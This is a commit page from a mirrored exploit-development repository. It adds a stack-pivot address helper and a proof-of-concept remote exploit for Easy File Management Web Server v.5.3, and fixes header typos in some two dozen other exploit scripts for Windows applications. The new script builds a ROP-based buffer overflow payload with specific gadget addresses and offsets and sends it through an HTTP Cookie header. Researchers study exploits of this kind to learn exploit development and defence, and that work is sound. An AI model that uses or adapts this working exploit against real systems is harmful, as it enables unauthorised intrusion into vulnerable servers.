admin/VoidSec-Exploit-Development
1
0
Fork 0
mirror of https://github.com/VoidSec/Exploit-Development synced 2026-06-08 12:50:18 +00:00
Code Issues Packages Projects Releases Wiki Activity

Easy File Management Web Server v.5.3

Browse Source 
+ typos fixing
+ addr reference finder
This commit is contained in:
VoidSec
2020-07-13 21:34:48 +02:00
parent d6e0235571
commit 6ac4750152
31 changed files with 125 additions and 28 deletions
Download Patch File Download Diff File Expand all files Collapse all files
helpers/addr_reference_finder.py
+18
View File
@@ -0,0 +1,18 @@
import struct, re
f = open("stackpivot.txt", "r")
content = f.read()
f.close()
matches = re.findall(r"0x[0-9a-f]{8} :", content)
m=0
f = open("addr_2_search.txt", "w")
for match in matches:
m+=1
m_clean = match.replace(":","").replace("0x","").rstrip()
m_final=[]
for index in range(0, len(m_clean), 2):
m_final.append("\\x"+m_clean[index : index + 2])
m_final.reverse()
f.write("!mona find -s '"+"".join(m_final)+"' -cm aslr=false,rebase=false -cpb '\\x00\\x3b'\n")
print("Total addr: {}".format(m))
windows/x86/local/Aviosoft_DTV_Player-1.0.0.1/aviosoft_DTV_Player-1.0.0.1.py
+1 -1
View File
@@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage: http://www.aviosoft.com/
Version: Aviosoft DTV Player 1.0.0.1 Professional
Tested on: Windows XP SP3
Category: local exploits
Category: local exploit
Platform: windows
"""
#!/usr/bin/python
windows/x86/local/Bandwidth_Monitor_v.3.9/Bandwidth_Monitor_v.3.9.py
+1 -1
View File
@@ -6,7 +6,7 @@ Vendor Homepage: https://www.10-strike.com/bandwidth-monitor/
Download: https://www.10-strike.com/bandwidth-monitor/bandwidth-monitor.exe
Version: v.3.9
Tested on: Windows 10 Pro x64 v.1909 Build 18363.418
Category: local exploits
Category: local exploit
Platform: windows
Usage: BandMonitor > Help > Enter Reg Key > Paste content of Bandwidth_Monitor_v.3.9_exploit.txt
"""
windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0_Win10.py
+1 -1
View File
@@ -5,7 +5,7 @@ Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voi
Vendor Homepage: http://www.sricam.com/
Version: v.3.10.12.0
Tested on: Windows 10 Pro x64 v.1909 Build 18363.720
Category: local exploits
Category: local exploit
Platform: windows
Usage: DeviceViewer > Login Screen > in the "Username" textarea paste the content of "DeviceViewer_v.3.10.12.0_exploit.txt" and press "Login"
windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0_Win7.py
+1 -1
View File
@@ -5,7 +5,7 @@ Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voi
Vendor Homepage: http://www.sricam.com/
Version: v.3.10.12.0
Tested on: Windows 7 Pro x86 v.6.1.7601 SP 1 Build 7601
Category: local exploits
Category: local exploit
Platform: windows
Usage: DeviceViewer > Login Screen > in the "Username" textarea paste the content of "DeviceViewer_v.3.10.12.0_exploit.txt" and press "Login"
windows/x86/local/Easy_CD_DVD_Copy_v.1.3.24/Easy_CD_DVD_Copy_v.1.3.24.py
+1 -1
View File
@@ -6,7 +6,7 @@ Vendor Homepage: http://www.divxtodvd.net/index.htm
Download: https://www.exploit-db.com/apps/ea6dad29d025e66110243bd197c1870c-easy_cd_dvd_copy.exe
Version: v.1.3.24
Tested on: Windows 10 Pro x64 v.1909 Build 18363.418
Category: local exploits
Category: local exploit
Platform: windows
Usage: Paste content of Easy_CD_DVD _Copy_v. 1.3.24_exploit.txt in the "Username" field in the Register dialog
"""
windows/x86/local/Easy_File_Management_Web_Server_v.5.3/Easy_File_Management_Web_Server_v.5.3.py
+79
View File
@@ -0,0 +1,79 @@
"""
Full title: Easy File Management Web Server v.5.3 - Cookie Stack Buffer Overflow (PoC)
Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage: http://www.efssoft.com
Download: https://www.exploit-db.com/apps/a46371c665d7c85689b47534904bc3f1-efmsetup.exe
Version: v.5.3
Tested on: Windows 10 Pro x64 v.1909 Build 18363.418
Category: remote exploit
Platform: windows
NOTE: https://www.rcesecurity.com/2014/05/easy-file-management-web-server-v5-3-exploit-kung-fu/
"""
#!/usr/bin/python
import struct, socket, sys, os
host="127.0.0.1"
port=80
buf_max_sixe = 3800
edx_offset = 80
# BAD CHARS: \x00\x3b
"""
EDI (0x054e98b8) points at offset 80 in normal pattern (length 3720)
EDX contains normal pattern : 0x37634136 (offset 80)
ESI (0x054e98a8) points at offset 64 in normal pattern (length 3736)
ECX (0x054e98b8) points at offset 80 in normal pattern (length 3720)
PUSH EBX
PUSH EBX
MOV ECX,EDI
CALL DWORD PTR DS:[EDX+28] <--- CRASH (Load what is pointed at EDX+28 then call it)
we need to find a pointer to the string of the stack pivot address value (in non DEP enviroment we can be "near" it and execute all the instruction in between)
0x1001a6ff : {pivot 264 / 0x108} : # POP EBP # POP EBX # ADD ESP,100 # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
!mona find -s '\xff\xa6\x01\x10' -cm aslr=false,rebase=false -cpb '\x00\x3b'
0x033c1a2a : '\xff\xa6\x01\x10' | ascii {PAGE_READONLY}
"""
def create_rop_nop():
rop_gadgets = [
0x1001c025, # 0x1001c025 : # POP EBX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
buf = ""
buf += create_rop_nop() * edx_offset
buf += struct.pack("<I", 0x33C1A02) # stack pivot >= 140; 0x1001a6ff : {pivot 264 / 0x108} : # POP EBP # POP EBX # ADD ESP,100 # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
# 0x1001a6ff can be found at 0x033c1a2a; 0x033c1a2a - 28 = 0x33C1A02; it will also compensate the POP EBX in the ROP NOP
buf += "B" * (buf_max_sixe-len(buf))
req="GET /vfolder.ghp HTTP/1.1\r\n"
req+="User-Agent: Mozilla/4.0\r\n"
req+="Host:" + host + ":" + str(port) + "\r\n"
req+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
req+="Accept-Language: en-us\r\n"
req+="Accept-Encoding: gzip, deflate\r\n"
req+="Referer: http://" + host + "/\r\n"
req+="Cookie: SESSIONID=1337; UserID=" + buf + "; PassWD=;\r\n"
req+="Conection: Keep-Alive\r\n\r\n"
print "[*] Connecting to Host " + host + "..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect=s.connect((host, port))
print "[*] Connected to " + host + "!"
except:
print "[!] " + host + " didn't respond\n"
sys.exit(0)
print "[*] Sending malformed request..."
s.send(req)
print "[!] Exploit has been sent!\n"
s.close()
windows/x86/local/Easy_File_Management_Web_Server_v.5.3/efmsetup.exe
BIN
View File
Binary file not shown.
windows/x86/local/Easy_RM_to_MP3_Converter_v.2.7.3.700/Easy_RM_to_MP3_Converter_v.2.7.3.700.py
+1 -1
View File
@@ -5,7 +5,7 @@ Vendor Homepage: http://www.rm-to-mp3.net
Download: https://www.exploit-db.com/apps/707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe
Version: v.2.7.3.700
Tested on: Windows 10 Pro x64 v.1909 Build 18363.418
Category: local exploits
Category: local exploit
Platform: windows
"""
#!/usr/bin/python
windows/x86/local/LanSpy_v.2.0.1.159/LanSpy_v.2.0.1.159.py
+1 -1
View File
@@ -5,7 +5,7 @@ Vendor Homepage: https://lizardsystems.com/
Download: https://www.exploit-db.com/apps/70a780b78ee7dbbbbc99852259f75d53-lanspy_setup_2.0.1.159.exe
Version: v.2.0.1.159
Tested on: Windows 10 Pro x64 v.1909 Build 18363.418
Category: local exploits
Category: local exploit
Platform: windows
Usage: Open the APP > click on the scan field > paste the contents from the generated "LanSpy_v.2.0.1.159_exploit.txt" file
"""
windows/x86/local/Reaper_v.5.78/Reaper_v.5.78.py
+1 -1
View File
@@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage: https://www.reaper.fm/
Version: Reaper v.5.78
Tested on: Windows 10 Pro x64 v.1909 Build 18363.720
Category: local exploits
Category: local exploit
Platform: windows
Usage: Reaper > Options > Preferences > ReaScript > in the "Force ReaScript to use specific python dll" textarea paste the content of "Reaper_5.78_exploit.txt"
"""
windows/x86/local/Triologic_Media_Player_v.8/Triologic_Media_Player_v.8.py
+1 -1
View File
@@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voi
Vendor Homepage: http://www.triologic.net/
Version: v.8.0.0.0
Tested on: Windows 10 Pro x64 v.1909 Build 18363.418
Category: local exploits
Category: local exploit
Platform: windows
"""
#!/usr/bin/python
windows/x86/local/VLC_v.0.9.4/VLC_v.0.9.4-PoC.py
+1 -1
View File
@@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com (Based
Vendor Homepage: https://www.videolan.org
Version: VideoLAN VLC Media Player 0.9.4
Tested on: Windows 7
Category: local exploits
Category: local exploit
Platform: windows
Usage: redirect the output of this script into an MPG file, load it into VLC 0.9.4, the EIP will be overwritten with \x41\x41\x41\x41
"""
windows/x86/local/VLC_v.0.9.4/VLC_v.0.9.4-exploit.py
+1 -1
View File
@@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com (Based
Vendor Homepage: https://www.videolan.org
Version: VideoLAN VLC Media Player 0.9.4
Tested on: Windows XP SP3
Category: local exploits
Category: local exploit
Platform: windows
"""
windows/x86/local/blaze_DVD_6.1.1.6/blaze_DVD_6.1.1.6.py
+1 -1
View File
@@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage: https://www.softwarezirkel.de/
Version: BlazeDVD 6.1.1.6 Professional
Tested on: Windows XP SP3
Category: local exploits
Category: local exploit
Platform: windows
"""
#!/usr/bin/python
windows/x86/local/microp_0.1.1.1600/microp_0.1.1.1600.py
+1 -1
View File
@@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage: http://sourceforge.net/projects/microp/
Version: MicroP 0.1.1.1600
Tested on: Windows XP SP3
Category: local exploits
Category: local exploit
Platform: windows
"""
windows/x86/remote/32bit_FTP_v.07.08.08/32bit_FTP_v.07.08.08.py
+1 -1
View File
@@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage: https://www.electrasoft.com/
Version: 32bit FTP v.07.08.08
Tested on: Windows XP SP3
Category: remote exploits
Category: remote exploit
Platform: windows
Usage: start this script (it will set-up a listening server), launch 32bit FTP and connect it to the server
"""
windows/x86/remote/AntServer_v.2.5.0.3/AntServer_v.2.5.0.3.py
+1 -1
View File
@@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage: http://www.bigantsoft.com/
Version: BigAnt Console v.2.52 Service Pack 5
Tested on: Windows 10 x64 Pro v.10.0.18363 Build 18363
Category: remote exploits
Category: remote exploit
Platform: windows
Usage: Set the target IP, this script will take care of everything else.
"""
windows/x86/remote/CloudMe_Sync_v.1.9.2/CloudMe_Sync_v.1.9.2.py
+1 -1
View File
@@ -7,7 +7,7 @@ Download: https://org.cloudme.com/en/sync
Affected Version: < 1.11.0
CVE: CVE-2018-6892
Tested on: Windows 10 Pro x64 v.1909 Build 18363.418
Category: remote exploits
Category: remote exploit
Platform: windows
Usage: CloudMe_Sync_v.1.9.2.py TARGET_IP 8888
"""
windows/x86/remote/Dup_Scout_Enterprise_v.10.0.18/Dup_Scout_Enterprise_v.10.0.18.py
+1 -1
View File
@@ -7,7 +7,7 @@ Download: https://www.exploit-db.com/apps/84dcc5fe242ca235b67ad22215fc
Affected Version: <= v.10.0.18
CVE: N/A
Tested on: Windows 10 Pro x64 v.1909 Build 18363.418
Category: remote exploits
Category: remote exploit
Platform: windows
Usage: Dup_Scout_Enterprise_v.10.0.18.py TARGET_IP 80
Comments: Application is vulnerable in both login fields
windows/x86/remote/Easy_File_Sharing_Web_Server_v.7.2/Easy_File_Sharing_Web_Server_v.7.2.py
+1 -1
View File
@@ -7,7 +7,7 @@ Download: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea48
Affected Version: v.7.2
CVE: N/A
Tested on: Windows 10 Pro x64 v.1909 Build 18363.418
Category: remote exploits
Category: remote exploit
Platform: windows
Usage: Easy_File_Sharing_Web_Server_v.7.2.py TARGET_IP 80
"""
windows/x86/remote/echo server/echo-badchar.py
+1 -1
View File
@@ -3,7 +3,7 @@ Full title: Echo Server BadChars Remote Stack Buffer Overflow
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Version: Echo Server BadChars
Tested on: Windows XP SP3
Category: remote exploits
Category: remote exploit
Platform: windows
"""
#!/usr/bin/python
windows/x86/remote/echo server/echo-jmpesp.py
+1 -1
View File
@@ -3,7 +3,7 @@ Full title: Echo Server JMPESP Remote Stack Buffer Overflow
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Version: Echo Server JMPESP
Tested on: Windows XP SP3
Category: remote exploits
Category: remote exploit
Platform: windows
"""
#!/usr/bin/python
windows/x86/remote/echo server/echo-str.py
+1 -1
View File
@@ -3,7 +3,7 @@ Full title: Echo Server str Remote Stack Buffer Overflow
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Version: Echo Server str
Tested on: Windows XP SP3
Category: remote exploits
Category: remote exploit
Platform: windows
"""
#!/usr/bin/python
windows/x86/remote/echo server/echo-v2.py
+1 -1
View File
@@ -3,7 +3,7 @@ Full title: Echo Server v2 Remote Stack Buffer Overflow
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Version: Echo Server v2
Tested on: Windows XP SP3
Category: remote exploits
Category: remote exploit
Platform: windows
"""
#!/usr/bin/python
windows/x86/remote/echo server/echo-v3.py
+1 -1
View File
@@ -3,7 +3,7 @@ Full title: Echo Server v3 Remote Stack Buffer Overflow
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Version: Echo Server v3
Tested on: Windows XP SP3
Category: remote exploits
Category: remote exploit
Platform: windows
"""
#!/usr/bin/python
windows/x86/remote/echo server/echo.py
+1 -1
View File
@@ -3,7 +3,7 @@ Full title: Echo Server Remote Stack Buffer Overflow
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Version: Echo Server
Tested on: Windows XP SP3
Category: remote exploits
Category: remote exploit
Platform: windows
"""
#!/usr/bin/python
windows/x86/remote/freeSSHd_1.0.9/freeSSHd_1.0.9.py
+1 -1
View File
@@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage: http://www.freesshd.com/
Version: freeSSHd 1.0.9
Tested on: Windows XP SP3
Category: remote exploits
Category: remote exploit
Platform: windows
"""
#!/usr/bin/python
windows/x86/remote/minishare_1.4.1/minishare_1.4.1.py
+1 -1
View File
@@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage: http://minishare.sf.net
Version: MiniShare 1.4.1
Tested on: Windows XP SP3
Category: remote exploits
Category: remote exploit
Platform: windows
"""
windows/x86/remote/war_FTPD_1.65/war_FTPD_1.65.py
+1 -1
View File
@@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage: http://www.jgaa.com
Version: War FTPD 1.65
Tested on: Windows XP SP3
Category: remote exploits
Category: remote exploit
Platform: windows
"""
#!/usr/bin/python
windows/x86/remote/win server/WinServer.py
+1 -1
View File
@@ -2,7 +2,7 @@
Full title: WinServer Remote Buffer Overflow
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Tested on: Windows XP SP3
Category: remote exploits
Category: remote exploit
Platform: windows
"""
#!/usr/bin/python